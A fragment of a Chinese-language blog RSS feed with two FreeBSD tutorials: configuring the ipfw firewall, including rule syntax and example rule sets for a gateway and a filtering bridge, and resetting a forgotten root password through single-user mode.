<p>我们会将 firewall 的设定写在 /etc/rc.firewall 中，每一条设定都是以先入为主 (first match wins) 的方式来呈现，也就是先符合的规则 (rules) 为优先。所有进出的封包都会被这些规则过滤，因此我们会尽量减少规则的数量，以加速处理的速度。 </p>
<p>在 kernel 中，关于防火墙的设定有下列几条：
</p>
<p># 防火墙
options IPFIREWALL </p>
<p># 支援 NAT
options IPDIVERT </p>
<p># 下面这一行是预设允许所有封包通过，如果没有这一行，
# 就必须在 /etc/rc.firewall 中设定封包的规则。
# 这条规则内定编号是 65535，也就是所有规则的最后一条
# 如果没有加这一条规则，内定就是拒绝所有封包，
# 只允许规则中允许的封包通过。
options IPFIREWALL_DEFAULT_TO_ACCEPT </p>
<p># 这一行是让你可以在 ipfw 中设定要记录哪些封包，
# 如果没有这一行，就算设定了要留下记录也不会有作用。
options IPFIREWALL_VERBOSE </p>
<p># 这一行是限制每一条规则所要记录的封包数量，
# 因为同样的规则可能有许多记录，加上这一条可以使
# 同样的记录重复数减少，以避免记录文件爆增。
options IPFIREWALL_VERBOSE_LIMIT=10 [...]]]></description>
			<content:encoded><![CDATA[<p>
ipfw 是 FreeBSD 内建的防火墙指令，我们可以用它来管理进出的网络交通。如果防火墙服务器是扮演着路由器 (gateway 例如上一篇中的 NAT 服务器) 的角色，则进出的封包会被 ipfw 处理二次，而如果防火墙扮演的是桥接器 (bridge) 的角色，则封包只会被处理一次。这个观念关系着我们以下所要介绍的语法，有的语法并不适用于桥接器。 </p>
<p>另外，我们在设定防火墙时有二种模式，一种模式是预设拒绝所有联机，再一条一条加入允许的联机；另一种是预设接受所有联机，加入几条拒绝的规则。如果是非常强调安全性，应该是使用预设拒绝所有联机，再一条一条加入我们允许的规则。 </p>
<p>我们会将 firewall 的设定写在 /etc/rc.firewall 中，每一条设定都是以先入为主 (first match wins) 的方式来呈现，也就是先符合的规则 (rules) 为优先。所有进出的封包都会被这些规则过滤，因此我们会尽量减少规则的数量，以加速处理的速度。 </p>
<p>在 kernel 中，关于防火墙的设定有下列几条：<br />
<span id="more-433"></span></p>
<p># 防火墙<br />
options IPFIREWALL </p>
<p># 支援 NAT<br />
options IPDIVERT </p>
<p># 下面这一行是预设允许所有封包通过，如果没有这一行，<br />
# 就必须在 /etc/rc.firewall 中设定封包的规则。<br />
# 这条规则内定编号是 65535，也就是所有规则的最后一条<br />
# 如果没有加这一条规则，内定就是拒绝所有封包，<br />
# 只允许规则中允许的封包通过。<br />
options IPFIREWALL_DEFAULT_TO_ACCEPT </p>
<p># 这一行是让你可以在 ipfw 中设定要记录哪些封包，<br />
# 如果没有这一行，就算设定了要留下记录也不会有作用。<br />
options IPFIREWALL_VERBOSE </p>
<p># 这一行是限制每一条规则所要记录的封包数量，<br />
# 因为同样的规则可能有许多记录，加上这一条可以使<br />
# 同样的记录重复数减少，以避免记录文件爆增。<br />
options IPFIREWALL_VERBOSE_LIMIT=10 </p>
<p># 下面这一行是用来支援封包转向，<br />
# 当你要使用 fwd 动作时必须要有这一项设定。<br />
options IPFIREWALL_FORWARD </p>
<p># 如果要使用 pipe 来限制频宽，必须加入下列选项以支持 dummynet。<br />
options DUMMYNET </p>
<p>ipfw 也支持状态维持 (keep-state) 的功能，就是可以让符合设定的规则以动态的方式来分配增加规则 (地址或连接端口) 来让封包通过。也就是说防火墙可以记住一个外流的封包所使用的地址及连接端口，并在接下来的几分钟内允许外界响应。这种动态分配的规则有时间的限制，一段时间内会检查联机状态，并清除记录。 </p>
<p>所有的规则都有计数器记录封包的数量、位数、记录的数量及时间等。而这些记录可以用 ipfw 指令来显示或清除。 </p>
<p>在说明 ipfw 规则的语法之前，我们先来看这个指令的用法。ipfw 可以使用参数： </p>
<p>指令 说明<br />
ipfw add [rule] 新增一条规则。规则 (rule) 的语法请参考下一节的说明。<br />
ipfw delete [number] 删除一条编号为 number 的规则。<br />
ipfw -f flush 清除所有的规则。<br />
ipfw zero 将计数统计归零。<br />
ipfw list 列出现在所有规则，可以配合下列参数使用。<br />
-a 使用 list 时，可以列出封包统计的数目。<br />
-f 不要提出确认的询问。<br />
-q 当新增 (add)、归零(zero)、或清除 (flush) 时，不要列出任何回应。当使用远程登入，以 script (如 sh /etc/rc.firewall) 来修改防火墙规则时，内定会列出你修改的规则。但是当下了 flush 之后，会立即关掉所有联机，这时候响应的讯息无法传达终端机，而规则也将不被继续执行。此时唯一的方法就是回到该计算机前重新执行了。在修改防火墙规则时，最好在计算机前修改，以免因为一个小错误而使网络联机中断。<br />
-t 当使用 list 时，列出最后一个符合的时间。<br />
-N 在输出时尝试解析 IP 地址及服务的名称。<br />
-s [field] 当列出规则时，依哪一个计数器 (封包的数量、位数、记录的数量及时间) 来排序。 </p>
<p>12.3.1 ipfw 规则 </p>
<p>我们在过滤封包时，可以依据下列的几个封包所包含的信息来处理该封包： </p>
<p>接收或传送的接口，可以使用接口名称或地址。<br />
方向，流入或流出。<br />
来源或目的地的 IP 地址，也可以加上子网掩码。<br />
通讯协议，TCP,UDP,ICMP 等。<br />
TCP flags。<br />
IP fragment flag。<br />
IP options。<br />
ICMP 的类型。<br />
和封包相关的 socket User/group ID。<br />
使用 IP 地址或 TCP/UDP 的端口号来做为规则可能蛮危险的，因为这二种都有可能被以假的信息所蒙骗 (spoof)。但是这二种却也是最常被使用的方法。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下列为 ipfw rules 的语法： </p>
<p>[number] action [log] proto from src to dist [interface_spec] [option]<br />
使用 [ ] 包起来的表示可有可无，我们一一为大家说明它们的意义： </p>
<p>number： </p>
<p>number 是一个数字，用来定义规则的顺序，因为规则是以先入为主的方式处理，如果你将规则设定放在一个档案中 ( 如 /etc/rc.firewall )，规则会依每一行排列的顺序自动分配编号。你也可以在规则中加上编号，这样就不需要按顺序排列了。如果是在命令列中下 ipfw 指令来新增规则的话，也要指定编号，这样才能让规则依我们的喜好排列，否则就会以指令的先后顺序来排。这个编号不要重复，否则结果可能不是你想要的样子。 </p>
<p>action： </p>
<p>action 表示我们这条规则所要做的事，可以用的 action 有下列几个： </p>
<p>命令 意义<br />
allow 允许的规则，符合则通过。也可以使用 pass,permit, accept 等别名。<br />
deny 拒绝通过的规则。<br />
reject 拒绝通过的规则，符合规则的封包将被丢弃并传回一个 host unreachable 的 ICMP。<br />
count 更新所有符合规则的计数器。<br />
check-state 检查封包是否符合动态规则，如果符合则停止比对。若没有 check-state 这条规则，动态规则将被第一个 keep-state 的规则所检查。<br />
divert port 将符合 divert sock 的封包转向到指定的 port。<br />
fwd ipaddr[,port] 将符合规则封包的去向转向到 ipaddr，ipaddr 可以是 IP 地址或是 hostname。如果设定的 ipaddr 不是直接可以到达的地址，则会依本机即有的 routing table 来将封包送出。如果该地址是本地地址 (local address)，则保留本地地址并将封包送原本指定的 IP 地址。这项设定通常用来和 transparent proxy 搭配使用。例如：<br />
# ipfw add 50000 fwd 127.0.0.1,3128 tcp from \<br />
  192.168.1.0/24 to any 80<br />
如果没有设定 port ，则会依来源封包的 port 将封包送到指定的 IP。使用这项规则时，必须在 kernel 中设定选项 IPFIREWALL_FORWARD。 </p>
<p>pipe pipe_nr 传递封包给 dummynet(4) &#8220;pipe&#8221;，用以限制频宽。使用本语法必须先在核心中加入 option DUMMYNET。请 man ipfw 及 man dummynet。<br />
基本语法是先将要设定频宽的规则加入：<br />
ipfw add pipe pipe_nr &#8230;.<br />
再设定该规则的频宽： </p>
<p>ipfw pipe pipe_nr config bw B delay D queue Q plr P<br />
这里的 pipe_nr 指的是 pipe 规则编号，从 1~65535；B 是指频宽，可以表示为 bit/s、Kbit/s、Mbit/s、Bytes/s、KBytes/s、或 MBytes/s。D 是延迟多少 milliseconds (1/1000)。Q 是 queue size 的大小 (单位为 packages 或 Bytes)。P 是要随机丢弃的封包数量。 </p>
<p>例如我们要限制内部网域的计算机对外上传的最大频宽是 20 KBytes： </p>
<p>ipfw add pipe 1 ip from 192.168.0.1/24 to any in<br />
ipfw pipe 1 config bw 20KBytes/s </p>
<p>log： </p>
<p>如果该规则有加上 log 这个关键词，则会将符合规则的封包记录在 /var/log/security 中。前提是在核心中有设定 IPFIREWALL_VERBOSE 的选项。有时因为同样的封包太多，会使记录文件保有大量相同的记录，因此我们会在核心中再设定 IPFIREWALL_VERBOSE_LIMIT 这个选项，来限制要记录多少相同的封包。 </p>
<p>proto： </p>
<p>proto 表示 protocol，即网络协议的名称，如果使用 ip 或 all 表示所有协议。可以使用的选项有 ip,all,tcp,udp,icmp 等。 </p>
<p>src 及 dist： </p>
<p>src 是封包来源；dist 是封包目的地。在这二个项目可以用的关键词有 any, me, 或是以<br />
<address/mask>[ports] 的方式明确指定地址及端口号。 </p>
<p>若使用关键词 any 表示使这条规则符合所有 ip 地址。若使用关键词 me 则代表所有在本系统接口的 IP 地址。而使用明确指定地址的方式有下列三种： </p>
<p>IP 地址，指定一个 IP，如 168.20.33.45。<br />
IP/bits，如 1.2.3.4/24，表示所有从 1.2.3.0 到 1.2.3.255 的 IP 都符合规则。<br />
IP:mask，由 IP 加上子网掩码，如 1.2.3.4:255.255.240.0 表示从 1.2.0.0 到 1.2.15.255 都符合。<br />
而在 me, any 及 指定的 ip 之后还可以再加上连接埠编号 (ports)，指定 port 的方法可以是直接写出 port ，如 23；或给定一个范围，如 23-80；或是指定数个 ports，如 23,21,80 以逗点隔开。或者是写出在 /etc/services 中所定义的名称，如 ftp，在 services 中定义是 21，因此写 ftp 则代表 port 21。 </p>
<p>interface-spec： </p>
<p>interface-spec 表示我们所要指定的网络接口及流入或流出的网络封包。我们可以使用下列几个关键词的结合： </p>
<p>关键词 意义<br />
in 只符合流入的封包。<br />
out 只符合流出的封包。<br />
via ifX 封包一定要经过接口 ifX，if 为接口的代号，X 为编号，如 vr0。<br />
via if* 表示封包一定要经过接口 ifX，if 为接口的代号，而 * 则是任何编号，如 vr* 代表 vr0,vr1,&#8230;。<br />
via any 表示经过任何界面的封包。<br />
via ipno 表示经过 IP 为 ipno 界面的封包。 </p>
<p>via 会使接口永远都会被检查，如果用另一个关键词 recv ，则表示只检查接收的封包，而 xmit 则是送出的封包。这二个选项有时也很有用，例如要限制进出的接口不同时： </p>
<p>ipfw add 100 deny ip from any to any out recv vr0 xmit ed1<br />
recv 接口可以检查流入或流出的封包，而 xmit 接口只能检查流出的封包。所以在上面这里一定要用 out 而不能用 in，只要有使用 xmit 就一定要使用 out。另外，如果 via 和 recv 或 xmit 一起使用是没有效的。 </p>
<p>有的封包可能没有接收或传送的接口：例如原本就由本机所送出的封包没有接收接口，而目的是本机的封包也没有传送界面。 </p>
<p>options： </p>
<p>我们再列出一些常用的 option 选项 ，更多选项请 man ipfw： </p>
<p>选项名称 意义<br />
keep-state 当符合规则时，ipfw 会建立一个动态规则，内定是让符合规则的来源及目的地使用相同的协议时就让封包通过。这个规则有一定的生存期限 (lift time，由 sysctl 中的变量所控制)，每当有新的封包符合规则时，便用重设生存期限。<br />
bridged 只符合 bridged 的封包。<br />
established 只适用于 TCP 封包，当封包中有 RST 或 ACK bits 时就符合。<br />
uid xxx 当使用者 uid 为 xxx 则符合该规则。例如，我们如果要限制 Anonymous FTP 的下载速度最大为 64KB/s，则可以使用： </p>
<p>ipfw pipe 1 config bw 512Kbit/s<br />
ipfw add pipe 1 tcp from me to any uid 21<br />
上列规则第一行是先建一个编号为 1 的 pipe，限制频宽为 512 Kbit/s (也就是 64 KByte/s)，接着第二条是当使用者 uid 为 21 时，从本机 (me) 下载的 tcp 封包都使用编号 1 的 pipe。因为 Anonymous FTP 的使用者是 ftp，它的预设 uid 为 21，所以这条规则会被套用在 Anonymous FTP user 上。 </p>
<p>setup 只适用于 TCP 封包，当封包中有 SYN bits 时就符合。 </p>
<p>以上的说明只是 man ipfw 中的一小部份。如果你想要对 ipfw 更了解，例如如何使用 ipfw 来限制频宽等，建议你 man ipfw。 </p>
<p>不知道您看了这么多的规则是否觉得眼花撩乱，如果不了解 TCP/IP 的原理，彻底了解 ipfw 的设定还真不容易。没关系，我们下面将举几个简单、常用的设定，这些范例应该够平常使用了。 </p>
<p>12.3.2 范例 </p>
<p>我将原本的 /etc/rc.firewall 备份成 rc.firewal.old，并将它改成下列内容，请注意，这里只是范例，只供参考： </p>
<p># 设定我的 IP<br />
myip=&#8221;1.2.3.4&#8243;<br />
# 设定对外的网络卡代号<br />
outif=&#8221;vr0&#8243;<br />
# 设定对内的网络上代号<br />
inif=&#8221;vr1&#8243;<br />
#清除所有的规则<br />
/sbin/ipfw -f flush<br />
# Throw away RFC 1918 networks<br />
${ipfw} add deny ip from 10.0.0.0/8 to any in via ${oif}<br />
${ipfw} add deny ip from 172.16.0.0/12 to any in via ${oif}<br />
${ipfw} add deny ip from 192.168.0.0/16 to any in via ${oif}<br />
# 只允许内部网络对 192.168.0.1 使用 telnet 服务<br />
/sbin/ipfw add 200 allow tcp from 192.168.0.1/24 to 192.168.0.1 telnet<br />
# 拒绝其它人连到 port 23，并记录尝试联机的机器<br />
/sbin/ipfw add 300 deny log tcp from any to me 23<br />
# 拒绝任何 ICMP 封包<br />
/sbin/ipfw add 400 deny icmp from any to any </p>
<p># 下面这台机器是坏人，不让它进来，并记录下来<br />
/sbin/ipfw add 1100 deny log all from 211.21.104.102 to any<br />
# NAT 的设定<br />
/sbin/ipfw add divert natd all from any to any via vr0<br />
# 限制内部网域对外下载最大频宽为 20KBytes/s，上传最大频宽为 5KBytes/s<br />
ipfw pipe 20 config bw 20KBytes/s<br />
ipfw add pipe 20 ip from any to 192.168.0.1/24 out<br />
ipfw pipe 30 config bw 5KBytes/s<br />
ipfw add pipe 30 ip from 192.168.0.1/24 to any in<br />
# 允许本机对任何地方联机<br />
/sbin/ipfw add check-state<br />
/sbin/ipfw add 2000 allow udp from ${myip} to any keep-state<br />
/sbin/ipfw add 2100 pass ip from ${myip} to any </p>
<p># 允许外界使用邮件服务<br />
/sbin/ipfw add 3000 pass tcp from any to ${myip} 25 in via ${outif} </p>
<p># 不允许内部的 IP 从外部连进来<br />
/sbin/ipfw add 1200 add deny ip from ${myip}/24 to any in via ${oif} </p>
<p># 其它都拒绝，如果没有在 kernel 中设定<br />
# IPFIREWALL_DEFAULT_TO_ACCEPT 则内定就有下列这一条<br />
/sbin/ipfw 65535 add deny all from any to any </p>
<p>存盘后就可以使用 sh rc.firewall 来执行新的规则了。如果您将规则放在 /etc/rc.firewall 中，则开机时会自动执行。 </p>
<p>12.3.3 一些小建议 </p>
<p>在建立一个封包过滤的防火墙时，应该尽可能阻挡一些不必要的服务。避免开放 port 1024 以下的 TCP 服务，例如只通过 SMTP 封包 (port 25) 给邮件服务器；拒绝所有 UDP 联机 (只有少部份服务如 NFS 会用到)；一些只有内部才会使用的服务，如数据库等也不必对外开放。 </p>
<p>另外，同样的防火墙限制可以使用不同的语法来展现，应该要试着让规则数量越少越好，以加快处理速度。 </p>
<p>在更新 firewall 规则时，如果规则没有写好，而你又是以远程登入的方式修改规则，很可能会因此无法继续登入。因此建议更新规则时最好在 console 前执行，若迫不得已一定要使用远程登入，建议您执行 /usr/share/examples/ipfw/change_rules.sh 这支程序来编辑规则： </p>
<p># cd /usr/share/examples/ipfw<br />
# sh change_rules.sh<br />
接着会出现文书编辑软件并最动加载 /etc/rc.firewall 让你编辑，结束离开后，会询问是否要执行更新。如果执行新的规则后造成断线，它会自动加载旧的规则，让我们可以再次联机。 </p>
<p>12.4 封包过滤桥接器 </p>
<p>如果您有三台机器全部都有 public IP，而您想使用其中一台做为防火墙，在不改变另外二台机器的设定下，我们可以使具封包过滤的桥接器来架设防火墙。只要将这台桥接器放在另外二台和对外网络之间即可。 </p>
<p>另外，当我们的内部网络有不同 class 的主机时，例如内部有 140.115.2.3 及 140.115.5.6 这二台计算机时，就无法使用传统的防火墙。如果要在这二台机器连到因特网中途中使用防火墙，我们必须使用新的方式，也可以使用这里介绍的桥接器。 </p>
<p>我们可以使用 FreeBSD 为桥接器，利用它来做封包过滤的动作，而丝毫不影响内部的主机原本的设定。为了达到这个功能，我们必需要有二张支持 promiscuous mode 的网络卡，现在的网络卡大部份都有支持。二张网络卡当中，一张需要设定 IP，另一张不需要。至于您要将 IP 设定在哪一张卡都可以，建议是设在对外的网络卡上。 </p>
<p>首先，我们必须在核心中加入关于桥接器的设定： </p>
<p># 支援桥接器<br />
options BRIDGE<br />
# 防火墙设定<br />
options IPFIREWALL<br />
options IPFIREWALL_VERBOSE<br />
# 我们这里不将防火墙预设为接收所有封包<br />
#options IPFIREWALL_DEFAULT_TO_ACCEPT </p>
<p>如果您要让桥接器具有流量控制的功能，则可以加上之前提到的选项「options DUMMYNET」。重新编译核心后，在重开机前，我们先设定一下 /etc/rc.conf： </p>
<p>firewall_enable=&#8221;YES&#8221;<br />
firewall_type=&#8221;open&#8221; </p>
<p>还有一件事要做，当在以太网络上跑 IP 协议时，事实上使用二种以太网络协议，一个是 IP，另一个是 ARP。ARP 协定是当机器要找出给定 IP 地址所对应的以太网络地址时使用的。ARP 并不是 IP 层的一部份，只是给 IP 应用在以太网络上运作。标准的防火墙规则中并未加入对于 ARP 的支持，幸运的是，高手们的在 ipfirewall 程序代码中加入了对封包过滤桥接器的支持。如果我们在 IP 地址 0.0.0.0 上建立一个特别的 UDP 规则，UDP 端口的号码将被使用来搭配被桥接封包的以太网络协议号码，如此一来，我们的桥接器就可以被设定成传递或拒绝非 IP 的协议。请在 /etc/rc.firewall 中接近文件顶端处理 lo0 的那三行之下(就是有写 Only in rare cases do you want to change these rules 的地方)加入下面一行： </p>
<p>${fwcmd} add allow udp from 0.0.0.0 2054 to 0.0.0.0 </p>
<p>现在我们就可以重新开机了。重开机之后，先执行下列指令来启动桥接器： </p>
<p>如果您使用的是 FreeBSD 4.x： </p>
<p># sysctl -w net.link.ether.bridge_ipfw=1<br />
# sysctl -w net.link.ether.bridge=1<br />
如果您使用的是 FreeBSD 5.x： </p>
<p># sysctl -w net.link.ether.bridge.ipfw=1<br />
# sysctl -w net.link.ether.bridge.enable=1<br />
现在我们可以将机器放在内外二个网域之间了。因为我们之前在 /etc/rc.conf 中，设定防火墙完全打开，不阻挡任何封包，所以放在二个网域之间时，运作应该没有问题。我们之前只设了一张网络上的 IP，而在执行了上述的指令之后，第二张网络卡便开始运作。 </p>
<p>下一步就是将我们启动桥接器的指令放在 /etc/rc.local 中，让系统在开机时自动执行。或者，我们可以在 /etc/sysctl.conf 中加入下面二行： </p>
<p># 如果您使用的是 FreeBSD 4.x<br />
net.link.ether.bridge_ipfw=1<br />
net.link.ether.bridge=1<br />
# 如果您使用的是 FreeBSD 5.2 以后的版本<br />
net.link.ether.bridge.enable=1<br />
net.link.ether.bridge.ipfw=1 </p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
接下来我们就可以依自己的需求在 /etc/rc.firewall 文件的最后面加上我们自己想要的防火墙规则了。以下是一个简单的设定规则，假设桥接器的 IP 是 140.115.75.137，内部有二台主机，一台提供网页服务，一台是 BBS： </p>
<p>us_ip=140.115.75.137<br />
basrv_ip=140.115.3.4<br />
bbs_ip=140.115.5.6<br />
oif=fxp0<br />
iif=fxp1<br />
ipfw=&#8221;/sbin/ipfw&#8221;<br />
# Things that we&#8217;ve kept state on before get to go through in a hurry.<br />
${ipfw} 1000 add check-state </p>
<p># Throw away RFC 1918 networks<br />
${ipfw} 1100 add deny ip from 10.0.0.0/8 to any in via ${oif}<br />
${ipfw} 1200 add deny log ip from 172.16.0.0/12 to any in via ${oif}<br />
${ipfw} 1300 add deny log ip from 192.68.0.0/16 to any in via ${oif}<br />
# 允许桥接器本身所有想做的联机 (keep state if UDP)<br />
${ipfw} 1400 add pass udp from ${us_ip} to any keep-state<br />
${ipfw} 1500 add pass ip from ${us_ip} to any </p>
<p># 允许内部网络任何想做的联机 (keep state if UDP)<br />
${ipfw} 1600 add pass udp from any to any in via ${iif} keep-state<br />
${ipfw} 1700 add pass ip from any to any in via ${iif} </p>
<p># 允许任何的 ICMP 联机<br />
${ipfw} 1800 add pass icmp from any to any </p>
<p># 不允许使用 port 888 联机<br />
${ipfw} 2000 add deny log tcp from any to ${bbs_ip} 888 </p>
<p># TCP section<br />
# 任何地方都可以建立 TCP 联机<br />
${ipfw} 3000 add pass tcp from any to any via ${oif} </p>
<p># Pass the &#8220;quarantine&#8221; range.<br />
${ipfw} 3100 add pass tcp from any to any 49152-65535 in via ${oif}<br />
# Pass ident probes. It&#8217;s better than waiting for them to timeout<br />
${ipfw} 3200 add pass tcp from any to any 113 in via ${oif}<br />
# Pass SSH.<br />
${ipfw} 3300 add pass tcp from any to any 22 in via ${oif}<br />
# Pass DNS. 当内部网络有名称服务器时才需要<br />
#${ipfw} add pass tcp from any to any 53 in via ${oif}<br />
# 只传递 SMTP 给邮件服务器<br />
${ipfw} 3400 add pass tcp from any to ${bbs_ip} 25 in via ${oif}<br />
${ipfw} 3500 add pass tcp from any to ${basrv_ip} 25 in via ${oif}<br />
# UDP section<br />
# Pass the &#8220;quarantine&#8221; range.<br />
${ipfw} 4000 add pass udp from any to any 49152-65535 in via ${oif}<br />
# Pass DNS. 当内部网络有名称服务器时才需要<br />
#${ipfw} 4100 add pass udp from any to any 53 in via ${oif} </p>
<p># 其它的都拒绝<br />
${ipfw} 60000 add deny ip from any to any</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/433.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 恢复 root 密码</title>
		<link>http://www.evanjiang.net.cn/archives/430.html</link>
		<comments>http://www.evanjiang.net.cn/archives/430.html#comments</comments>
		<pubDate>Thu, 19 Feb 2009 12:04:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd 恢复 root 密码]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=430</guid>
		<description><![CDATA[<p>FreeBSD 恢復root密碼</p>
<p>重新啓動FreeBSD 進入單用戶更改密碼</p>
<p>FreeBSD 4.x 或之前的版本</p>
<p>在系統起動顯示以下信息時按 spacebar

Hit [Enter] to boot immediately, or any other key for command prompt.
Booting [kernel] in 10 seconds&#8230;</p>
<p>接着在顯示以下信息時輸入 boot -s 

Type &#8216;?&#8217; for a list of commands, or &#8216;help&#8217; for more detailed help.
ok

按 Enter 後系統會運行至顯示以下信息</p>
<p>Enter full pathname of shell or RETURN for /bin/sh:</p>
<p>再按 Enter 進入單用戶, 顯示 #
掛載檔案系統, 輸入</p>
<p></p>
<p># fsck -p \\文件檔案檢查
# mount [...]]]></description>
			<content:encoded><![CDATA[<p><span lang="EN-US">FreeBSD </span>恢復<span lang="EN-US">root</span>密碼</p>
<p>重新啓動<span lang="EN-US">FreeBSD </span>進入單用戶更改密碼</p>
<p><strong>FreeBSD 4.x </strong><strong>或之前的版本</strong></p>
<p>在系統起動顯示以下信息時按 <strong><em><span lang="EN-US">spacebar</span></em></strong><span lang="EN-US"><br />
<strong><br />
<span>Hit [Enter] to boot immediately, or any other key for command prompt.<br />
Booting [kernel] in 10 seconds&#8230;</span></strong></span></p>
<p><strong></strong><span>接着在顯示以下信息時輸入 <strong><span lang="EN-US">boot -s</span></strong><span lang="EN-US"> </span></span><span lang="EN-US"><br />
<strong><span><br />
Type &#8216;?&#8217; for a list of commands, or &#8216;help&#8217; for more detailed help.<br />
ok<br />
</span></strong><br />
</span>按<span lang="EN-US"> Enter </span>後系統會運行至顯示以下信息</p>
<p><strong><span>Enter full pathname of shell or RETURN for /bin/sh:</span></strong></p>
<p>再按<span lang="EN-US"> Enter </span><span>進入單用戶<span lang="EN-US">, </span></span>顯示<strong><span lang="EN-US"> #<br />
</span></strong>掛載檔案系統<span lang="EN-US">, </span>輸入</p>
<p><strong><span lang="EN-US"><span id="more-430"></span></span></strong></p>
<p><strong># fsck -p </strong><span lang="EN-US">\\</span>文件檔案檢查<span lang="EN-US"><br />
<strong># mount -u / </strong>\\</span>掛載<span lang="EN-US"> /<br />
<strong># mount -t ufs -a </strong>\\</span>掛載所有文件檔案</p>
<p>更改密碼</p>
<p><strong># <span>passwd </span></strong><span>\\</span>更改密碼<strong><span lang="EN-US"><br />
<span>New password:</span><span>_</span><br />
<span>Retype new password:</span><span>_</span><br />
<span>passwd: updating the database&#8230;</span><br />
<span>passwd: done</span><br />
# <span>exit </span></span></strong><span lang="EN-US">\\</span><span>離開單用戶進入多用戶正常模式</span><strong><span lang="EN-US"><br />
</span></strong><span lang="EN-US"><br />
<strong><br />
FreeBSD 5 </strong></span><strong>或都之後版本<span lang="EN-US">.</span></strong><br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
在系統起動顯示以下畫面時按 <strong><em><span lang="EN-US">spacebar </span></em></strong>選擇<span lang="EN-US"> 4 </span>按<span lang="EN-US"> Enter </span>進入<span>單用戶模式</span></p>
<p class="MsoNormal" align="center"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><span lang="EN-US"><!--[if gte vml 1]><v:shapetype  id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"  path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter" /> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0" /> <v:f eqn="sum @0 1 0" /> <v:f eqn="sum 0 0 @1" /> <v:f eqn="prod @2 1 2" /> <v:f eqn="prod @3 21600 pixelWidth" /> <v:f eqn="prod @3 21600 pixelHeight" /> <v:f eqn="sum @0 0 1" /> <v:f eqn="prod @6 1 2" /> <v:f eqn="prod @7 21600 pixelWidth" /> <v:f eqn="sum @8 21600 0" /> <v:f eqn="prod @7 21600 pixelHeight" /> <v:f eqn="sum @10 21600 0" /> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o:lock v:ext="edit" aspectratio="t" /> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" alt="" style='width:375pt;  height:207.75pt'> <v:imagedata src="file:///C:\DOCUME~1\gzzymh\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg" mce_src="file:///C:\DOCUME~1\gzzymh\LOCALS~1\Temp\msohtml1\01\clip_image001.jpg"   o:href="http://www.cublog.cn/u/184/upfile/060430122955.jpg" /> </v:shape><![endif]--><img src="file:///C:/DOCUME~1/gzzymh/LOCALS~1/Temp/msohtml1/01/clip_image002.jpg" alt="" width="500" height="277" /></span></p>
<p class="MsoNormal" align="center"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span>系統會運行至顯示以下信息</span></p>
<p><strong><span>Enter full pathname of shell or RETURN for /bin/sh:</span></strong></p>
<p><span>再按</span><span lang="EN-US"> Enter </span><span>進入單用戶</span><span lang="EN-US">, </span><span>顯示</span><strong><span lang="EN-US"> #<br />
</span></strong><span>掛載檔案系統</span><span lang="EN-US">, </span><span>輸入</span> <strong></strong></p>
<p><strong># fsck -p </strong><span lang="EN-US">\\</span><span>文件檔案檢查</span><span lang="EN-US"><br />
<strong># mount -u / </strong>\\</span><span>掛載</span><span lang="EN-US"> /<br />
<strong># mount -t ufs -a </strong>\\</span><span>掛載所有文件檔案</span></p>
<p><span>更改密碼</span></p>
<p><strong># <span>passwd </span></strong><span>\\</span><span>更改密碼</span><strong><span lang="EN-US"><br />
<span>New password:</span><span>_</span><br />
<span>Retype new password:</span><span>_</span><br />
<span>passwd: updating the database&#8230;</span><br />
<span>passwd: done</span><br />
# <span>exit </span></span></strong><span lang="EN-US">\\</span><span>離開單用戶進入多用戶正常模式</span>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/430.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>终于解决温室小花技术博客的永久链接问题。</title>
		<link>http://www.evanjiang.net.cn/archives/357.html</link>
		<comments>http://www.evanjiang.net.cn/archives/357.html#comments</comments>
		<pubDate>Sat, 07 Feb 2009 16:14:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[wordpress  永久链接]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=357</guid>
